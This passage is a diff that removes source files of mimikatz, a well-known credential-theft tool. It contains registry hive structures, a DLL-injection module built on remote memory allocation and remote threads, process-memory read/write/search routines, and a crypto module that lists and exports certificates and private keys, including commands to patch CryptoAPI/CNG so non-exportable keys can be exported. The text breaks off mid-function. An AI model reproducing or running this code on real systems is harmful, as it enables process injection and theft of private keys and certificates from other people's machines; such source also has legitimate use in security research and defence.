int unk4[4];
|
||||
int unk5;
|
||||
short int name_len;
|
||||
short int classname_len;
|
||||
unsigned char *key_name;
|
||||
} nk_hdr;
|
||||
|
||||
typedef struct _hashrecord
|
||||
{
|
||||
int nk_offset;
|
||||
char keyname[4];
|
||||
} hashrecord;
|
||||
|
||||
typedef struct _lf_hdr
|
||||
{
|
||||
short int id;
|
||||
short int key_num;
|
||||
unsigned char *hr;
|
||||
} lf_hdr;
|
||||
|
||||
typedef struct _vk_hdr
|
||||
{
|
||||
short int id;
|
||||
short int name_len;
|
||||
int data_len;
|
||||
int data_off;
|
||||
int data_type;
|
||||
short int flag;
|
||||
short int unk1;
|
||||
unsigned char *value_name;
|
||||
} vk_hdr;
|
||||
|
||||
static bool InitHive(hive *h);
|
||||
static bool RegOpenHive(const wchar_t * filename, hive *h);
|
||||
static bool RegCloseHive(hive *h);
|
||||
static bool RegGetRootKey(hive *h, string *root_key);
|
||||
static bool RegOpenKey(hive *h, string *path, nk_hdr **nr);
|
||||
static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len);
|
||||
static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len);
|
||||
static bool RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names);
|
||||
|
||||
static long parself(hive *h, char *t, unsigned long off);
|
||||
static unsigned char* read_data(hive *h, int offset);
|
||||
private:
|
||||
static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset);
|
||||
static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset);
|
||||
static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset);
|
||||
static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index);
|
||||
static int* read_valuevector(int *value, hive *h, int offset, int size);
|
||||
|
||||
};
|
@ -1,72 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_inject.h"
|
||||
|
||||
bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
wstring maLibComplete = L"";
|
||||
if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete))
|
||||
{
|
||||
bool fileExist = false;
|
||||
if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist)
|
||||
{
|
||||
SIZE_T szFullLibraryPath = static_cast<SIZE_T>((maLibComplete.size() + 1) * sizeof(wchar_t));
|
||||
|
||||
if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE))
|
||||
{
|
||||
if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess))
|
||||
{
|
||||
PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast<PTHREAD_START_ROUTINE>(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"));
|
||||
HANDLE hRemoteThread = INVALID_HANDLE_VALUE;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion > 5)
|
||||
{
|
||||
PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast<PRTL_CREATE_USER_THREAD>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread"));
|
||||
SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL));
|
||||
}
|
||||
else
|
||||
{
|
||||
hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL);
|
||||
}
|
||||
|
||||
if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
WaitForSingleObject(hRemoteThread, INFINITE);
|
||||
reussite = true;
|
||||
CloseHandle(hRemoteThread);
|
||||
}
|
||||
}
|
||||
VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE);
|
||||
}
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath)
|
||||
{
|
||||
bool reussite = false;
|
||||
if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
|
||||
{
|
||||
reussite = injectLibraryInHandle(processHandle, fullLibraryPath);
|
||||
CloseHandle(processHandle);
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
if(mod_process::getUniqueForName(&monProcess, &processName))
|
||||
{
|
||||
reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath);
|
||||
}
|
||||
return reussite;
|
||||
}
|
@ -1,19 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
|
||||
class mod_inject
|
||||
{
|
||||
public:
|
||||
static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath);
|
||||
static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath);
|
||||
static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath);
|
||||
};
|
||||
|
@ -1,140 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_memory.h"
|
||||
|
||||
bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess)
|
||||
{
|
||||
if(handleProcess == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
SIZE_T dwBytesRead = 0;
|
||||
return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur));
|
||||
}
|
||||
}
|
||||
|
||||
bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD OldProtect, OldProtect2;
|
||||
|
||||
if(handleProcess == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0)
|
||||
{
|
||||
reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0);
|
||||
VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0)
|
||||
{
|
||||
SIZE_T dwBytesWrite = 0;
|
||||
reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur));
|
||||
VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2);
|
||||
}
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess)
|
||||
{
|
||||
BYTE * monTab = new BYTE[longueur];
|
||||
*addressePattern = adresseBase;
|
||||
bool succesLecture = true;
|
||||
bool succesPattern = false;
|
||||
|
||||
while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern)
|
||||
{
|
||||
if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess))
|
||||
{
|
||||
if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0)))
|
||||
{
|
||||
*addressePattern += (enAvant ? 1 : -1);
|
||||
}
|
||||
}
|
||||
}
|
||||
delete[] monTab;
|
||||
|
||||
if(!succesPattern)
|
||||
*addressePattern = NULL;
|
||||
|
||||
return succesPattern;
|
||||
}
|
||||
|
||||
bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess)
|
||||
{
|
||||
PBYTE addressePattern = NULL;
|
||||
bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess);
|
||||
*offsetPattern = (long)(addressePattern - adresseBase);
|
||||
return resultat;
|
||||
}
|
||||
|
||||
bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr)
|
||||
{
|
||||
bool resultat = false;
|
||||
if(thePtr && pattern && taillePattern)
|
||||
{
|
||||
if(HMODULE monModule = GetModuleHandle(moduleName))
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
PBYTE addrMonModule = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
|
||||
if(PBYTE addrDebut = startFunc ? reinterpret_cast<PBYTE>(GetProcAddress(monModule, startFunc)) : addrMonModule)
|
||||
{
|
||||
if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant))
|
||||
{
|
||||
*thePtr += offSetToPtr;
|
||||
if(!noPtr)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
*thePtr += sizeof(long) + *reinterpret_cast<long *>(*thePtr);
|
||||
#elif defined _M_IX86
|
||||
*thePtr = *reinterpret_cast<PBYTE *>(*thePtr);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else *thePtr = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return resultat;
|
||||
}
|
||||
|
||||
/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle là !
|
||||
{
|
||||
PBYTE autreAddr = adresseBase;
|
||||
PBYTE monMask = new BYTE[longueurMask];
|
||||
PBYTE monTab = new BYTE[longueurMask];
|
||||
|
||||
RtlCopyMemory(monMask, maskPattern, longueurMask);
|
||||
bool succesLecture = false, succesPattern = false;
|
||||
do
|
||||
{
|
||||
PBYTE funkyDiff = reinterpret_cast<PBYTE>(addrPattern - (autreAddr + offsetAddrInMask + 4));
|
||||
RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast<PBYTE>(&funkyDiff), 4);
|
||||
succesLecture = readMemory(autreAddr, monTab, longueurMask);
|
||||
succesPattern = memcmp(monTab, monMask, longueurMask) == 0;
|
||||
autreAddr+=offset;
|
||||
} while(!succesPattern && succesLecture);
|
||||
|
||||
delete[] monMask;
|
||||
|
||||
if(succesPattern && succesLecture)
|
||||
{
|
||||
*addressePattern = autreAddr-offset;
|
||||
return true;
|
||||
}
|
||||
else return false;
|
||||
}*/
|
@ -1,22 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <psapi.h>
|
||||
|
||||
class mod_memory
|
||||
{
|
||||
public:
|
||||
static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
|
||||
static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE);
|
||||
|
||||
static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false);
|
||||
|
||||
/*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle là !*/
|
||||
};
|
@ -1,593 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_crypto.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_crypto::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installés)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins système"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de clés"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les clés"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de clés pour l\'export de clés non exportable"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de clés non exportable"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::listProviders(vector<wstring> * arguments)
|
||||
{
|
||||
vector<wstring> * monVectorProviders = new vector<wstring>();
|
||||
/* CryptoAPI */
|
||||
(*outputStream) << L"Providers CryptoAPI :" << endl;
|
||||
if(mod_cryptoapi::getVectorProviders(monVectorProviders))
|
||||
for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); ++monProvider)
|
||||
(*outputStream) << L'\t' << *monProvider << endl;
|
||||
else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl;
|
||||
|
||||
/* CryptoNG */
|
||||
if(mod_cryptong::isNcrypt)
|
||||
{
|
||||
(*outputStream) << endl;
|
||||
monVectorProviders->clear();
|
||||
|
||||
(*outputStream) << L"Providers CNG :" << endl;
|
||||
if(mod_cryptong::getVectorProviders(monVectorProviders))
|
||||
for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); ++monProvider)
|
||||
(*outputStream) << L'\t' << *monProvider << endl;
|
||||
else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
delete monVectorProviders;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::listKeys(vector<wstring> * arguments)
|
||||
{
|
||||
listAndOrExportKeys(arguments, false);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::exportKeys(vector<wstring> * arguments)
|
||||
{
|
||||
listAndOrExportKeys(arguments, true);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::listStores(vector<wstring> * arguments)
|
||||
{
|
||||
wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front());
|
||||
|
||||
(*outputStream) << L"Emplacement : \'" << monEmplacement << L'\'';
|
||||
|
||||
DWORD systemStore;
|
||||
if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
|
||||
{
|
||||
(*outputStream) << endl;
|
||||
vector<wstring> * mesStores = new vector<wstring>();
|
||||
if(mod_crypto::getVectorSystemStores(mesStores, systemStore))
|
||||
for(vector<wstring>::iterator monStore = mesStores->begin(); monStore != mesStores->end(); ++monStore)
|
||||
(*outputStream) << L'\t' << *monStore << endl;
|
||||
else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl;
|
||||
delete mesStores;
|
||||
}
|
||||
else (*outputStream) << L" introuvable !" << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::listCertificates(vector<wstring> * arguments)
|
||||
{
|
||||
listAndOrExportCertificates(arguments, false);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::exportCertificates(vector<wstring> * arguments)
|
||||
{
|
||||
listAndOrExportCertificates(arguments, true);
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_crypto::listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys)
|
||||
{
|
||||
bool isMachine = false;
|
||||
DWORD providerType = PROV_RSA_FULL;
|
||||
wstring provider = MS_ENHANCED_PROV;
|
||||
|
||||
switch (arguments->size())
|
||||
{
|
||||
case 1:
|
||||
isMachine = true;
|
||||
case 0:
|
||||
break;
|
||||
case 3:
|
||||
isMachine = true;
|
||||
arguments->erase(arguments->begin());
|
||||
case 2:
|
||||
mod_cryptoapi::getProviderString(arguments->front(), &provider);
|
||||
mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType);
|
||||
break;
|
||||
default :
|
||||
(*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
wstring type = (isMachine ? L"machine" : L"user");
|
||||
|
||||
vector<wstring> * monVectorKeys = new vector<wstring>();
|
||||
|
||||
/* CryptoAPI */
|
||||
(*outputStream) << L"[" << type << L"] Clés CryptoAPI :" << endl;
|
||||
if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine))
|
||||
{
|
||||
DWORD i;
|
||||
vector<wstring>::iterator monContainer;
|
||||
for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); ++monContainer, ++i)
|
||||
{
|
||||
(*outputStream) << L"\t - " << *monContainer << endl;
|
||||
|
||||
HCRYPTPROV hCryptKeyProv = NULL;
|
||||
if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL)))
|
||||
{
|
||||
HCRYPTKEY maCle = NULL;
|
||||
for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++)
|
||||
{
|
||||
if(CryptGetUserKey(hCryptKeyProv, ks, &maCle))
|
||||
{
|
||||
(*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl;
|
||||
DWORD param = 0, taille = sizeof(param);
|
||||
if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(¶m), &taille, NULL))
|
||||
(*outputStream) << L"\t\tExportabilité : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl;
|
||||
if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(¶m), &taille, NULL))
|
||||
(*outputStream) << L"\t\tTaille clé : " << param << endl;
|
||||
|
||||
if(exportKeys)
|
||||
{
|
||||
bool reussite = false;
|
||||
BYTE * monExport = NULL;
|
||||
DWORD tailleExport = 0;
|
||||
|
||||
wstringstream monBuff;
|
||||
wstring containerName = *monContainer;
|
||||
sanitizeFileName(&containerName);
|
||||
|
||||
monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk";
|
||||
|
||||
if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport))
|
||||
{
|
||||
reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks);
|
||||
delete[] monExport;
|
||||
}
|
||||
|
||||
(*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
if(!reussite)
|
||||
{
|
||||
(*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(maCle)
|
||||
CryptDestroyKey(maCle);
|
||||
else
|
||||
(*outputStream) << L"\t\t* Erreur de clé ; " << mod_system::getWinError() << endl;
|
||||
|
||||
|
||||
CryptReleaseContext(hCryptKeyProv, 0);
|
||||
}
|
||||
else (*outputStream) << L"\t\t* Erreur d\'acquisition de la clé ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl;
|
||||
|
||||
/* CryptoNG */
|
||||
if(mod_cryptong::isNcrypt)
|
||||
{
|
||||
(*outputStream) << endl;
|
||||
monVectorKeys->clear();
|
||||
|
||||
(*outputStream) << L"[" << type << L"] Clés CNG :" << endl;
|
||||
if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine))
|
||||
{
|
||||
DWORD i;
|
||||
vector<wstring>::iterator monContainer;
|
||||
for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); ++monContainer, ++i)
|
||||
{
|
||||
(*outputStream) << L"\t - " << *monContainer << endl;
|
||||
|
||||
NCRYPT_KEY_HANDLE maCle;
|
||||
if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine))
|
||||
{
|
||||
bool exportable = false;
|
||||
DWORD size = 0;
|
||||
|
||||
if(mod_cryptong::isKeyExportable(&maCle, &exportable))
|
||||
(*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
|
||||
if(mod_cryptong::getKeySize(&maCle, &size))
|
||||
(*outputStream) << L"\t\tTaille clé : " << size << endl;
|
||||
|
||||
if(exportKeys)
|
||||
{
|
||||
bool reussite = false;
|
||||
BYTE * monExport = NULL;
|
||||
DWORD tailleExport = 0;
|
||||
|
||||
wstringstream monBuff;
|
||||
monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk";
|
||||
|
||||
if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport))
|
||||
{
|
||||
reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str());
|
||||
delete[] monExport;
|
||||
}
|
||||
|
||||
(*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
if(!reussite)
|
||||
{
|
||||
(*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
mod_cryptong::NCryptFreeObject(maCle);
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
delete monVectorKeys;
|
||||
}
|
||||
|
||||
|
||||
void mod_mimikatz_crypto::listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert)
|
||||
{
|
||||
wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER";
|
||||
wstring monStore = L"My";
|
||||
|
||||
if(arguments->size() == 1)
|
||||
{
|
||||
monEmplacement = arguments->front();
|
||||
}
|
||||
else if(arguments->size() == 2)
|
||||
{
|
||||
monEmplacement = arguments->front();
|
||||
monStore = arguments->back();
|
||||
}
|
||||
|
||||
(*outputStream) << L"Emplacement : \'" << monEmplacement << L'\'';
|
||||
|
||||
DWORD systemStore;
|
||||
if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
|
||||
{
|
||||
(*outputStream) << L"\\" << monStore << endl;
|
||||
if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str()))
|
||||
{
|
||||
DWORD i;
|
||||
PCCERT_CONTEXT pCertContext;
|
||||
for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++)
|
||||
{
|
||||
wstring * certName = new wstring();
|
||||
bool reussite = false;
|
||||
|
||||
if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName))
|
||||
certName->assign(L"[empty]");
|
||||
|
||||
(*outputStream) << L"\t - " << *certName << endl;;
|
||||
sanitizeFileName(certName);
|
||||
|
||||
wstringstream monBuff;
|
||||
monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.';
|
||||
|
||||
mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo;
|
||||
if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo))
|
||||
{
|
||||
(*outputStream) << L"\t\tContainer Clé : " << keyProvInfo.pwszContainerName << endl;
|
||||
(*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl;
|
||||
|
||||
HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL;
|
||||
DWORD keySpec = 0;
|
||||
BOOL aFermer = false;
|
||||
|
||||
if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer))
|
||||
{
|
||||
(*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl;
|
||||
|
||||
DWORD size = 0;
|
||||
bool exportable = false;
|
||||
|
||||
if(keySpec == CERT_NCRYPT_KEY_SPEC)
|
||||
{
|
||||
if(mod_cryptong::isNcrypt)
|
||||
{
|
||||
reussite = mod_cryptong::getKeySize(&monProv, &size);
|
||||
reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable);
|
||||
|
||||
if(aFermer)
|
||||
{
|
||||
mod_cryptong::NCryptFreeObject(monProv);
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"\t\t\tErreur : Clé de type nCrypt, sans nCrypt ?" << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
DWORD tailleEcrite = 0;
|
||||
DWORD exportability;
|
||||
|
||||
HCRYPTKEY maCle = NULL;
|
||||
if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0))
|
||||
{
|
||||
tailleEcrite = sizeof(DWORD);
|
||||
reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast<BYTE *>(&size), &tailleEcrite, NULL) != 0);
|
||||
tailleEcrite = sizeof(DWORD);
|
||||
reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast<BYTE *>(&exportability), &tailleEcrite, NULL) != 0);
|
||||
exportable = (exportability & CRYPT_EXPORT) != 0;
|
||||
}
|
||||
|
||||
if(aFermer)
|
||||
{
|
||||
CryptReleaseContext(monProv, 0);
|
||||
}
|
||||
}
|
||||
if(reussite)
|
||||
{
|
||||
(*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl;
|
||||
(*outputStream) << L"\t\tTaille clé : " << size << endl;
|
||||
}
|
||||
|
||||
if(exportCert)
|
||||
{
|
||||
wstring PFXFile = monBuff.str();
|
||||
PFXFile.append(L"pfx");
|
||||
|
||||
reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz");
|
||||
|
||||
(*outputStream) << L"\t\tExport privé dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl;
|
||||
if(!reussite)
|
||||
{
|
||||
(*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
if(exportCert)
|
||||
{
|
||||
wstring DERFile = monBuff.str();
|
||||
DERFile.append(L"der");
|
||||
|
||||
reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile);
|
||||
|
||||
